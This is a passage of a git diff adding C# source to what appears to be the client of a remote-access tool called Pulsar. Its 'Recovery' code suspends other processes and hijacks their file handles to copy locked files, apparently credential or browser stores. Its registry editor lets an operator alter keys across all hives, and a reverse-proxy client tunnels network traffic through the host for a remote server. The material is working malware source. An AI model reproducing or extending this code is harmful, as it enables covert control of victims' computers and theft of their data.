+ string szPath = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName; + + // open the current exe + IntPtr hFile = NativeMethodsXeno.CreateFileW(szPath, NativeMethodsXeno.GENERIC_READ, NativeMethodsXeno.FILE_SHARE_READ, IntPtr.Zero, NativeMethodsXeno.OPEN_EXISTING, 0, IntPtr.Zero); + if (hFile == NativeMethodsXeno.INVALID_HANDLE_VALUE) + { + return false; + } + + // take a snapshot of the system handle list + if (GetSystemHandleList() != 0) + { + NativeMethodsXeno.CloseHandle(hFile); + return false; + } + + // close the temporary file handle + NativeMethodsXeno.CloseHandle(hFile); + + // find the temporary file handle in the previous snapshot + if (!pGlobal_SystemHandleInfo.HasValue) + return false; + + var handleInfo = pGlobal_SystemHandleInfo.Value; + int handleCount = (int)handleInfo.NumberOfHandles; + IntPtr handleListPtr = pGlobal_SystemHandleInfoBuffer + 2 * IntPtr.Size; + + for (int i = 0; i < handleCount; i++) + { + var entry = Marshal.PtrToStructure(handleListPtr + i * Marshal.SizeOf()); + + // check if the process ID is correct + if (entry.UniqueProcessId == (UIntPtr)NativeMethodsXeno.GetCurrentProcessId()) + { + // check if the handle index is correct + if (entry.HandleValue == (UIntPtr)(ulong)hFile) + { + // store the file handle object type index + pdwFileHandleObjectType = entry.ObjectTypeIndex; + return true; + } + } + } + + // ensure the file handle object type was found + return false; + } + + private static int GetSystemHandleList() + { + uint dwAllocSize = 0; + uint dwStatus = 0; + uint dwLength = 0; + IntPtr pSystemHandleInfoBuffer = IntPtr.Zero; + + // free previous handle info list (if one exists) + if (pGlobal_SystemHandleInfo != null) + { + // Note: In C# we can't directly free like in C++, but we'll reuse + } + + // get system handle list + dwAllocSize = 0; + for (;;) + { + if (pSystemHandleInfoBuffer != IntPtr.Zero) + { + // free previous inadequately sized buffer + Marshal.FreeHGlobal(pSystemHandleInfoBuffer); + pSystemHandleInfoBuffer = IntPtr.Zero; + } + + if (dwAllocSize != 0) + { + // allocate new buffer + pSystemHandleInfoBuffer = Marshal.AllocHGlobal((int)dwAllocSize); + if (pSystemHandleInfoBuffer == IntPtr.Zero) + { + return 1; + } + } + + // get system handle list + dwStatus = NativeMethodsXeno.NtQuerySystemInformation(InternalStructsXeno.SYSTEM_INFORMATION_CLASS.SystemExtendedHandleInformation, pSystemHandleInfoBuffer, dwAllocSize, out dwLength); + if (dwStatus == 0) + { + // success + break; + } + else if (dwStatus == 0xC0000004) // STATUS_INFO_LENGTH_MISMATCH + { + // not enough space - allocate a larger buffer and try again (also add an extra 1kb to allow for additional handles created between checks) + dwAllocSize = (dwLength + 1024); + } + else + { + // other error + if (pSystemHandleInfoBuffer != IntPtr.Zero) + Marshal.FreeHGlobal(pSystemHandleInfoBuffer); + return 1; + } + } + + // store handle info ptr + pGlobal_SystemHandleInfo = (InternalStructsXeno.SYSTEM_HANDLE_INFORMATION_EX)Marshal.PtrToStructure(pSystemHandleInfoBuffer, typeof(InternalStructsXeno.SYSTEM_HANDLE_INFORMATION_EX)); + pGlobal_SystemHandleInfoBuffer = pSystemHandleInfoBuffer; + + // Note: We keep the buffer allocated for later use + return 0; + } + + public static bool ReplaceFileHandle(IntPtr hTargetProcess, IntPtr hExistingRemoteHandle, IntPtr hReplaceLocalHandle) + { + IntPtr hClonedFileHandle = IntPtr.Zero; + IntPtr hRemoteReplacedHandle = IntPtr.Zero; + + const uint DUPLICATE_CLOSE_SOURCE = 0x00000001; + const uint DUPLICATE_SAME_ACCESS = 0x00000002; + + // close remote file handle + if (!NativeMethodsXeno.DuplicateHandle(hTargetProcess, hExistingRemoteHandle, NativeMethodsXeno.GetCurrentProcess(), ref hClonedFileHandle, 0, false, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS)) + { + return false; + } + + // close cloned file handle + NativeMethodsXeno.CloseHandle(hClonedFileHandle); + + // duplicate local file handle into remote process + if (!NativeMethodsXeno.DuplicateHandle(NativeMethodsXeno.GetCurrentProcess(), hReplaceLocalHandle, hTargetProcess, ref hRemoteReplacedHandle, 0, false, DUPLICATE_SAME_ACCESS)) + { + return false; + } + + // ensure that the new remote handle matches the original value + if (hRemoteReplacedHandle != hExistingRemoteHandle) + { + return false; + } + + return true; + } + + public static bool HijackFileHandle(int dwTargetPID, string pTargetFileName, IntPtr hReplaceLocalHandle) + { + IntPtr hProcess = IntPtr.Zero; + IntPtr hClonedFileHandle = IntPtr.Zero; + uint dwFileHandleObjectType = 0; + int dwThreadExitCode = 0; + int dwThreadID = 0; + IntPtr hThread = IntPtr.Zero; + GetFileHandlePathThreadParamStruct GetFileHandlePathThreadParam; + string pLastSlash = null; + int dwHijackCount = 0; + + const uint PROCESS_DUP_HANDLE = 0x0040; + const uint PROCESS_SUSPEND_RESUME = 0x800; + + // calculate the object type index for file handles on this system + if (!GetFileHandleObjectType(out dwFileHandleObjectType)) + { + return false; + } + + Console.WriteLine($"Opening process: {dwTargetPID}..."); + + // open target process + hProcess = NativeMethodsXeno.OpenProcess(PROCESS_DUP_HANDLE | PROCESS_SUSPEND_RESUME, false, (uint)dwTargetPID); + if (hProcess == IntPtr.Zero) + { + return false; + } + + // suspend target process + if (NativeMethodsXeno.NtSuspendProcess(hProcess) != 0) + { + NativeMethodsXeno.CloseHandle(hProcess); + return false; + } + + // get system handle list + if (GetSystemHandleList() != 0) + { + NativeMethodsXeno.NtResumeProcess(hProcess); + NativeMethodsXeno.CloseHandle(hProcess); + return false; + } + + if (!pGlobal_SystemHandleInfo.HasValue) + { + NativeMethodsXeno.NtResumeProcess(hProcess); + NativeMethodsXeno.CloseHandle(hProcess); + return false; + } + + var handleInfo = pGlobal_SystemHandleInfo.Value; + int handleCount = (int)handleInfo.NumberOfHandles; + IntPtr handleListPtr = pGlobal_SystemHandleInfoBuffer + 2 * IntPtr.Size; + + for (int i = 0; i < handleCount; i++) + { + var entry = Marshal.PtrToStructure(handleListPtr + i * Marshal.SizeOf()); + + // ensure this handle is a file handle object + if (entry.ObjectTypeIndex != dwFileHandleObjectType) + { + continue; + } + + // ensure this handle is in the target process + if ((uint)entry.UniqueProcessId != (uint)dwTargetPID) + { + continue; + } + + // clone file handle + if (!DupHandle((int)(uint)entry.UniqueProcessId, (IntPtr)(ulong)entry.HandleValue, out hClonedFileHandle)) + { + continue; + } + + // get the file path of the current handle - do this in a new thread to prevent deadlocks + GetFileHandlePathThreadParam = new GetFileHandlePathThreadParamStruct(); + GetFileHandlePathThreadParam.hFile = hClonedFileHandle; + + // Note: In C# we can't easily create threads with the same signature, so we'll do it synchronously for now + string path = GetFileHandlePathFromThread(hClonedFileHandle); + + // close cloned file handle + NativeMethodsXeno.CloseHandle(hClonedFileHandle); + + if (path == null) + { + continue; + } + + // get last slash in path + pLastSlash = path.LastIndexOf('\\') >= 0 ? path.Substring(path.LastIndexOf('\\') + 1) : path; + + // check if this is the target filename + if (string.Compare(pLastSlash, pTargetFileName, StringComparison.OrdinalIgnoreCase) != 0) + { + continue; + } + + // found matching filename + Console.WriteLine($"Found remote file handle: \"{path}\" (Handle ID: 0x{entry.HandleValue:X})"); + dwHijackCount++; + + // replace the remote file handle + if (ReplaceFileHandle(hProcess, (IntPtr)(ulong)entry.HandleValue, hReplaceLocalHandle)) + { + // handle replaced successfully + Console.WriteLine("Remote file handle hijacked successfully\n"); + } + else + { + // failed to hijack handle + Console.WriteLine("Failed to hijack remote file handle\n"); + } + } + + // resume process + if (NativeMethodsXeno.NtResumeProcess(hProcess) != 0) + { + NativeMethodsXeno.CloseHandle(hProcess); + return false; + } + + // clean up + NativeMethodsXeno.CloseHandle(hProcess); + + // ensure at least one matching file handle was found + if (dwHijackCount == 0) + { + Console.WriteLine("No matching file handles found"); + return false; + } + + return true; + } + + public static bool CloneFileByHandleHijacking(string sourceFilePath, string destinationFilePath) + { + try + { + // First, try to copy the file normally + File.Copy(sourceFilePath, destinationFilePath, true); + return true; + } + catch + { + // File is locked, try handle hijacking approach + } + + // Get processes locking the file + if (!GetProcessLockingFile(sourceFilePath, out int[] lockingProcesses)) + { + return false; + } + + if (lockingProcesses.Length == 0) + { + // No locking processes, should have worked above + return false; + } + + // Create the destination file + IntPtr hDestFile = NativeMethodsXeno.CreateFileW(destinationFilePath, NativeMethodsXeno.GENERIC_READ | NativeMethodsXeno.GENERIC_WRITE, NativeMethodsXeno.FILE_SHARE_READ | NativeMethodsXeno.FILE_SHARE_WRITE, IntPtr.Zero, 2 /* CREATE_ALWAYS */, 0, IntPtr.Zero); + if (hDestFile == NativeMethodsXeno.INVALID_HANDLE_VALUE) + { + return false; + } + + try + { + // Copy the current content + byte[] sourceContent = ForceReadFile(sourceFilePath, false); + if (sourceContent != null) + { + using (FileStream fs = new FileStream(destinationFilePath, FileMode.Create)) + { + fs.Write(sourceContent, 0, sourceContent.Length); + } + } + + // Now hijack handles in each locking process + string fileName = Path.GetFileName(sourceFilePath); + bool success = true; + + foreach (int pid in lockingProcesses) + { + if (!HijackFileHandle(pid, fileName, hDestFile)) + { + success = false; + break; + } + } + + return success; + } + finally + { + NativeMethodsXeno.CloseHandle(hDestFile); + } + } + + private struct GetFileHandlePathThreadParamStruct + { + public IntPtr hFile; + public string szPath; + } + + private static string GetFileHandlePathFromThread(IntPtr hFile) + { + const int FILE_NAME_INFORMATION_SIZE = 2048; + IntPtr bFileInfoBuffer = Marshal.AllocHGlobal(FILE_NAME_INFORMATION_SIZE); + InternalStructsXeno.IO_STATUS_BLOCK IoStatusBlock = new InternalStructsXeno.IO_STATUS_BLOCK(); + + try + { + uint status = NativeMethodsXeno.NtQueryInformationFile(hFile, ref IoStatusBlock, bFileInfoBuffer, (uint)FILE_NAME_INFORMATION_SIZE, InternalStructsXeno.FileNameInformation); + if (status != 0) + { + return null; + } + + uint fileNameLength = (uint)Marshal.ReadInt32(bFileInfoBuffer); + + // validate filename length + if (fileNameLength >= FILE_NAME_INFORMATION_SIZE - 4) + { + return null; + } + + // convert file path to string + byte[] fileNameBytes = new byte[fileNameLength]; + Marshal.Copy(bFileInfoBuffer + 4, fileNameBytes, 0, (int)fileNameLength); + string fileName = Encoding.Unicode.GetString(fileNameBytes); + + return fileName; + } + finally + { + Marshal.FreeHGlobal(bFileInfoBuffer); + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Recovery/Utilities/Xeno/NativeMethodsXeno.cs b/Pulsar.Client/Recovery/Utilities/Xeno/NativeMethodsXeno.cs new file mode 100644 index 0000000..316e159 --- /dev/null +++ b/Pulsar.Client/Recovery/Utilities/Xeno/NativeMethodsXeno.cs @@ -0,0 +1,99 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading.Tasks; +using static Pulsar.Client.Recovery.Utilities.Xeno.InternalStructsXeno; + +namespace Pulsar.Client.Recovery.Utilities.Xeno +{ + public static class NativeMethodsXeno + { + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool CloseHandle(IntPtr hProcess); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, + IntPtr hSourceHandle, + IntPtr hTargetProcessHandle, + ref IntPtr lpTargetHandle, + uint dwDesiredAccess, + bool bInheritHandle, + uint dwOptions + ); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr GetCurrentProcess(); + + [DllImport("ntdll.dll", SetLastError = true, EntryPoint = "NtQueryInformationProcess")] + private static extern int _NtQueryPbi32( + IntPtr ProcessHandle, + InternalStructsXeno.PROCESSINFOCLASS ProcessInformationClass, + ref InternalStructsXeno.PROCESS_BASIC_INFORMATION ProcessInformation, + uint BufferSize, + ref uint NumberOfBytesRead); + + [DllImport("kernel32.dll")] + public static extern InternalStructsXeno.FileType GetFileType(IntPtr hFile); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + public static extern uint GetFinalPathNameByHandleW(IntPtr hFile, [MarshalAs(UnmanagedType.LPWStr)] StringBuilder lpszFilePath, uint cchFilePath, uint dwFlags); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)] + public static extern IntPtr CreateFileMappingA(IntPtr hFile, IntPtr lpFileMappingAttributes, uint flProtect, uint dwMaximumSizeHigh, uint dwMaximumSizeLow, string lpName); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool GetFileSizeEx(IntPtr hFile, out ulong FileSize); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr MapViewOfFile(IntPtr hFileMappingObject, uint dwDesiredAccess, uint dwFileOffsetHigh, uint dwFileOffsetLow, UIntPtr dwNumberOfBytesToMap); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool UnmapViewOfFile(IntPtr lpBaseAddress); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern uint NtQuerySystemInformation(InternalStructsXeno.SYSTEM_INFORMATION_CLASS SystemInformationClass, IntPtr SystemInformation, uint SystemInformationLength, out uint ReturnLength); + + [DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode, SetLastError = true)] + public static extern uint RmRegisterResources(uint dwSessionHandle, uint nFiles, string[] rgsFileNames, uint nApplications, RM_UNIQUE_PROCESS[] rgApplications, uint nServices, string[] rgsServiceNames); + + [DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode, SetLastError = true)] + public static extern uint RmStartSession(out uint pSessionHandle, uint dwSessionFlags, string strSessionKey); + + [DllImport("rstrtmgr.dll", SetLastError = true)] + public static extern uint RmEndSession(uint pSessionHandle); + + [DllImport("rstrtmgr.dll", SetLastError = true)] + public static extern uint RmGetList(uint dwSessionHandle, out uint pnProcInfoNeeded, ref uint pnProcInfo, [In, Out] RM_PROCESS_INFO[] rgAffectedApps, out InternalStructsXeno.RM_REBOOT_REASON lpdwRebootReasons); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern uint NtQueryInformationFile(IntPtr FileHandle, ref IO_STATUS_BLOCK IoStatusBlock, IntPtr FileInformation, uint Length, uint FileInformationClass); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern uint NtSuspendProcess(IntPtr ProcessHandle); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern uint NtResumeProcess(IntPtr ProcessHandle); + + public const uint GENERIC_READ = 0x80000000; + public const uint GENERIC_WRITE = 0x40000000; + public const uint FILE_SHARE_READ = 0x00000001; + public const uint FILE_SHARE_WRITE = 0x00000002; + public const uint OPEN_EXISTING = 3; + public static readonly IntPtr INVALID_HANDLE_VALUE = new IntPtr(-1); + + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + public static extern IntPtr CreateFileW(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile); + + [DllImport("kernel32.dll")] + public static extern uint GetCurrentProcessId(); + } +} diff --git a/Pulsar.Client/Registry/RegistryEditor.cs b/Pulsar.Client/Registry/RegistryEditor.cs new file mode 100644 index 0000000..3881fe3 --- /dev/null +++ b/Pulsar.Client/Registry/RegistryEditor.cs @@ -0,0 +1,399 @@ +using Microsoft.Win32; +using Pulsar.Client.Extensions; +using Pulsar.Client.Helper; +using Pulsar.Common.Models; +using System; + +namespace Pulsar.Client.Registry +{ + public class RegistryEditor + { + private const string REGISTRY_KEY_CREATE_ERROR = "Cannot create key: Error writing to the registry"; + + private const string REGISTRY_KEY_DELETE_ERROR = "Cannot delete key: Error writing to the registry"; + + private const string REGISTRY_KEY_RENAME_ERROR = "Cannot rename key: Error writing to the registry"; + + private const string REGISTRY_VALUE_CREATE_ERROR = "Cannot create value: Error writing to the registry"; + + private const string REGISTRY_VALUE_DELETE_ERROR = "Cannot delete value: Error writing to the registry"; + + private const string REGISTRY_VALUE_RENAME_ERROR = "Cannot rename value: Error writing to the registry"; + + private const string REGISTRY_VALUE_CHANGE_ERROR = "Cannot change value: Error writing to the registry"; + + /// + /// Attempts to create the desired sub key to the specified parent. + /// + /// The path to the parent for which to create the sub-key on. + /// output parameter that holds the name of the sub-key that was create. + /// output parameter that contains possible error message. + /// Returns true if action succeeded. + public static bool CreateRegistryKey(string parentPath, out string name, out string errorMsg) + { + name = ""; + try + { + RegistryKey parent = GetWritableRegistryKey(parentPath); + + + //Invalid can not open parent + if (parent == null) + { + errorMsg = "You do not have write access to registry: " + parentPath + ", try running client as administrator"; + return false; + } + + //Try to find available names + int i = 1; + string testName = String.Format("New Key #{0}", i); + + while (parent.ContainsSubKey(testName)) + { + i++; + testName = String.Format("New Key #{0}", i); + } + name = testName; + + using (RegistryKey child = parent.CreateSubKeySafe(name)) + { + //Child could not be created + if (child == null) + { + errorMsg = REGISTRY_KEY_CREATE_ERROR; + return false; + } + } + + //Child was successfully created + errorMsg = ""; + return true; + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + + } + + /// + /// Attempts to delete the desired sub-key from the specified parent. + /// + /// The name of the sub-key to delete. + /// The path to the parent for which to delete the sub-key on. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. + public static bool DeleteRegistryKey(string name, string parentPath, out string errorMsg) + { + try + { + RegistryKey parent = GetWritableRegistryKey(parentPath); + + //Invalid can not open parent + if (parent == null) + { + errorMsg = "You do not have write access to registry: " + parentPath + ", try running client as administrator"; + return false; + } + + //Child does not exist + if (!parent.ContainsSubKey(name)) + { + errorMsg = "The registry: " + name + " does not exist in: " + parentPath; + //If child does not exists then the action has already succeeded + return true; + } + + bool success = parent.DeleteSubKeyTreeSafe(name); + + //Child could not be deleted + if (!success) + { + errorMsg = REGISTRY_KEY_DELETE_ERROR; + return false; + } + + //Child was successfully deleted + errorMsg = ""; + return true; + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + } + + /// + /// Attempts to rename the desired key. + /// + /// The name of the key to rename. + /// The name to use for renaming. + /// The path of the parent for which to rename the key. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. + public static bool RenameRegistryKey(string oldName, string newName, string parentPath, out string errorMsg) + { + try + { + + RegistryKey parent = GetWritableRegistryKey(parentPath); + + //Invalid can not open parent + if (parent == null) + { + errorMsg = "You do not have write access to registry: " + parentPath + ", try running client as administrator"; + return false; + } + + //Child does not exist + if (!parent.ContainsSubKey(oldName)) + { + errorMsg = "The registry: " + oldName + " does not exist in: " + parentPath; + return false; + } + + bool success = parent.RenameSubKeySafe(oldName, newName); + + //Child could not be renamed + if (!success) + { + errorMsg = REGISTRY_KEY_RENAME_ERROR; + return false; + } + + //Child was successfully renamed + errorMsg = ""; + return true; + + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + } + + /// + /// Attempts to create the desired value for the specified parent. + /// + /// The path to the key for which to create the registry value on. + /// The type of the registry value to create. + /// output parameter that holds the name of the registry value that was create. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. + public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, out string name, out string errorMsg) + { + name = ""; + try + { + RegistryKey key = GetWritableRegistryKey(keyPath); + + //Invalid can not open key + if (key == null) + { + errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator"; + return false; + } + + //Try to find available names + int i = 1; + string testName = String.Format("New Value #{0}", i); + + while (key.ContainsValue(testName)) + { + i++; + testName = String.Format("New Value #{0}", i); + } + name = testName; + + bool success = key.SetValueSafe(name, kind.GetDefault(), kind); + + //Value could not be created + if (!success) + { + errorMsg = REGISTRY_VALUE_CREATE_ERROR; + return false; + } + + //Value was successfully created + errorMsg = ""; + return true; + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + + } + + /// + /// Attempts to delete the desired registry value from the specified key. + /// + /// The path to the key for which to delete the registry value on. + /// /// The name of the registry value to delete. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. + public static bool DeleteRegistryValue(string keyPath, string name, out string errorMsg) + { + try + { + RegistryKey key = GetWritableRegistryKey(keyPath); + + //Invalid can not open key + if (key == null) + { + errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator"; + return false; + } + + //Value does not exist + if (!key.ContainsValue(name)) + { + errorMsg = "The value: " + name + " does not exist in: " + keyPath; + //If value does not exists then the action has already succeeded + return true; + } + + bool success = key.DeleteValueSafe(name); + + //Value could not be deleted + if (!success) + { + errorMsg = REGISTRY_VALUE_DELETE_ERROR; + return false; + } + + //Value was successfully deleted + errorMsg = ""; + return true; + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + } + + /// + /// Attempts to rename the desired registry value. + /// + /// The name of the registry value to rename. + /// The name to use for renaming. + /// The path of the key for which to rename the registry value. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. + public static bool RenameRegistryValue(string oldName, string newName, string keyPath, out string errorMsg) + { + try + { + RegistryKey key = GetWritableRegistryKey(keyPath); + + //Invalid can not open key + if (key == null) + { + errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator"; + return false; + } + + //Value does not exist + if (!key.ContainsValue(oldName)) + { + errorMsg = "The value: " + oldName + " does not exist in: " + keyPath; + return false; + } + + bool success = key.RenameValueSafe(oldName, newName); + + //Value could not be renamed + if (!success) + { + errorMsg = REGISTRY_VALUE_RENAME_ERROR; + return false; + } + + //Value was successfully renamed + errorMsg = ""; + return true; + + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + } + + /// + /// Attempts to change the value for the desired registry value for the + /// specified key. + /// + /// The registry value to change to in the form of a + /// RegValueData object. + /// The path to the key for which to change the + /// value of the registry value on. + /// output parameter that contains possible error message. + /// Returns true if the operation succeeded. + public static bool ChangeRegistryValue(RegValueData value, string keyPath, out string errorMsg) + { + try + { + RegistryKey key = GetWritableRegistryKey(keyPath); + + //Invalid can not open key + if (key == null) + { + errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator"; + return false; + } + + //Is not default value and does not exist + if (!RegistryKeyHelper.IsDefaultValue(value.Name) && !key.ContainsValue(value.Name)) + { + errorMsg = "The value: " + value.Name + " does not exist in: " + keyPath; + return false; + } + + bool success = key.SetValueSafe(value.Name, value.Data, value.Kind); + + //Value could not be created + if (!success) + { + errorMsg = REGISTRY_VALUE_CHANGE_ERROR; + return false; + } + + //Value was successfully created + errorMsg = ""; + return true; + } + catch (Exception ex) + { + errorMsg = ex.Message; + return false; + } + + } + + public static RegistryKey GetWritableRegistryKey(string keyPath) + { + RegistryKey key = RegistrySeeker.GetRootKey(keyPath); + + if (key != null) + { + //Check if this is a root key or not + if (key.Name != keyPath) + { + //Must get the subKey name by removing root and '\\' + string subKeyName = keyPath.Substring(key.Name.Length + 1); + + key = key.OpenWritableSubKeySafe(subKeyName); + } + } + + return key; + } + } +} diff --git a/Pulsar.Client/Registry/RegistrySeeker.cs b/Pulsar.Client/Registry/RegistrySeeker.cs new file mode 100644 index 0000000..a48729d --- /dev/null +++ b/Pulsar.Client/Registry/RegistrySeeker.cs @@ -0,0 +1,161 @@ +using Microsoft.Win32; +using Pulsar.Client.Extensions; +using Pulsar.Client.Helper; +using Pulsar.Common.Models; +using System; +using System.Collections.Generic; + +namespace Pulsar.Client.Registry +{ + public class RegistrySeeker + { + /// + /// The list containing the matches found during the search. + /// + private readonly List _matches; + + public RegSeekerMatch[] Matches => _matches?.ToArray(); + + public RegistrySeeker() + { + _matches = new List(); + } + + public void BeginSeeking(string rootKeyName) + { + if (!String.IsNullOrEmpty(rootKeyName)) + { + using (RegistryKey root = GetRootKey(rootKeyName)) + { + //Check if this is a root key or not + if (root != null && root.Name != rootKeyName) + { + //Must get the subKey name by removing root and '\' + string subKeyName = rootKeyName.Substring(root.Name.Length + 1); + using (RegistryKey subroot = root.OpenReadonlySubKeySafe(subKeyName)) + { + if (subroot != null) + Seek(subroot); + } + } + else + { + Seek(root); + } + } + } + else + { + Seek(null); + } + } + + private void Seek(RegistryKey rootKey) + { + // Get root registrys + if (rootKey == null) + { + foreach (RegistryKey key in GetRootKeys()) + //Just need root key so process it + ProcessKey(key, key.Name); + } + else + { + //searching for subkeys to root key + Search(rootKey); + } + } + + private void Search(RegistryKey rootKey) + { + foreach (string subKeyName in rootKey.GetSubKeyNames()) + { + RegistryKey subKey = rootKey.OpenReadonlySubKeySafe(subKeyName); + ProcessKey(subKey, subKeyName); + } + } + + private void ProcessKey(RegistryKey key, string keyName) + { + if (key != null) + { + List values = new List(); + + foreach (string valueName in key.GetValueNames()) + { + RegistryValueKind valueType = key.GetValueKind(valueName); + object valueData = key.GetValue(valueName); + values.Add(RegistryKeyHelper.CreateRegValueData(valueName, valueType, valueData)); + } + + AddMatch(keyName, RegistryKeyHelper.AddDefaultValue(values), key.SubKeyCount); + } + else + { + AddMatch(keyName, RegistryKeyHelper.GetDefaultValues(), 0); + } + } + + private void AddMatch(string key, RegValueData[] values, int subkeycount) + { + RegSeekerMatch match = new RegSeekerMatch { Key = key, Data = values, HasSubKeys = subkeycount > 0 }; + + _matches.Add(match); + } + + public static RegistryKey GetRootKey(string subkeyFullPath) + { + string[] path = subkeyFullPath.Split('\\'); + try + { + switch (path[0]) // <== root; + { + case "HKEY_CLASSES_ROOT": + return RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry64); + case "HKEY_CURRENT_USER": + return RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64); + case "HKEY_LOCAL_MACHINE": + return RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64); + case "HKEY_USERS": + return RegistryKey.OpenBaseKey(RegistryHive.Users, RegistryView.Registry64); + case "HKEY_CURRENT_CONFIG": + return RegistryKey.OpenBaseKey(RegistryHive.CurrentConfig, RegistryView.Registry64); + default: + /* If none of the above then the key must be invalid */ + throw new Exception("Invalid rootkey, could not be found."); + } + } + catch (SystemException) + { + throw new Exception("Unable to open root registry key, you do not have the needed permissions."); + } + catch (Exception e) + { + throw e; + } + } + + public static List GetRootKeys() + { + List rootKeys = new List(); + try + { + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry64)); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64)); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64)); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.Users, RegistryView.Registry64)); + rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.CurrentConfig, RegistryView.Registry64)); + } + catch (SystemException) + { + throw new Exception("Could not open root registry keys, you may not have the needed permission"); + } + catch (Exception e) + { + throw e; + } + + return rootKeys; + } + } +} diff --git a/Pulsar.Client/ReverseProxy/ReverseProxyClient.cs b/Pulsar.Client/ReverseProxy/ReverseProxyClient.cs new file mode 100644 index 0000000..2203687 --- /dev/null +++ b/Pulsar.Client/ReverseProxy/ReverseProxyClient.cs @@ -0,0 +1,169 @@ +using Pulsar.Common.Messages.Administration.ReverseProxy; +using System; +using System.Net; +using System.Net.Sockets; + +namespace Pulsar.Client.ReverseProxy +{ + public class ReverseProxyClient + { + public const int BUFFER_SIZE = 8192; + + public int ConnectionId { get; private set; } + public Socket Handle { get; private set; } + public string Target { get; private set; } + public int Port { get; private set; } + public Networking.Client Client { get; private set; } + private byte[] _buffer; + private bool _disconnectIsSend; + private bool _disposed; + + public ReverseProxyClient(ReverseProxyConnect command, Networking.Client client) + { + this.ConnectionId = command.ConnectionId; + this.Target = command.Target; + this.Port = command.Port; + this.Client = client; + this.Handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + + //Non-Blocking connect, so there is no need for a extra thread to create + this.Handle.BeginConnect(command.Target, command.Port, Handle_Connect, null); + } + + private void Handle_Connect(IAsyncResult ar) + { + try + { + this.Handle.EndConnect(ar); + } + catch { } + + if (this.Handle.Connected) + { + try + { + this._buffer = new byte[BUFFER_SIZE]; + this.Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null); + } + catch + { + Client.Send(new ReverseProxyConnectResponse + { + ConnectionId = ConnectionId, + IsConnected = false, + LocalAddress = null, + LocalPort = 0, + HostName = Target + }); + Disconnect(); + } + + IPEndPoint localEndPoint = (IPEndPoint)this.Handle.LocalEndPoint; + Client.Send(new ReverseProxyConnectResponse + { + ConnectionId = ConnectionId, + IsConnected = true, + LocalAddress = localEndPoint.Address.GetAddressBytes(), + LocalPort = localEndPoint.Port, + HostName = Target + }); + } + else + { + Client.Send(new ReverseProxyConnectResponse + { + ConnectionId = ConnectionId, + IsConnected = false, + LocalAddress = null, + LocalPort = 0, + HostName = Target + }); + } + } + + private void AsyncReceive(IAsyncResult ar) + { + //Receive here data from e.g. a WebServer + + if (_disposed) + return; + + try + { + int received = Handle.EndReceive(ar); + + if (received <= 0) + { + Disconnect(); + return; + } + + byte[] payload = new byte[received]; + Array.Copy(_buffer, payload, received); + Client.Send(new ReverseProxyData { ConnectionId = ConnectionId, Data = payload }); + } + catch (ObjectDisposedException) + { + // Socket was disposed, ignore + return; + } + catch + { + Disconnect(); + return; + } + + if (_disposed) + return; + + try + { + this.Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, AsyncReceive, null); + } + catch + { + Disconnect(); + return; + } + } + + public void Disconnect() + { + if (_disposed) + return; + + _disposed = true; + + if (!_disconnectIsSend) + { + _disconnectIsSend = true; + //send to the Server we've been disconnected + try + { + Client.Send(new ReverseProxyDisconnect { ConnectionId = ConnectionId }); + } + catch { } + } + + try + { + Handle.Close(); + } + catch { } + + 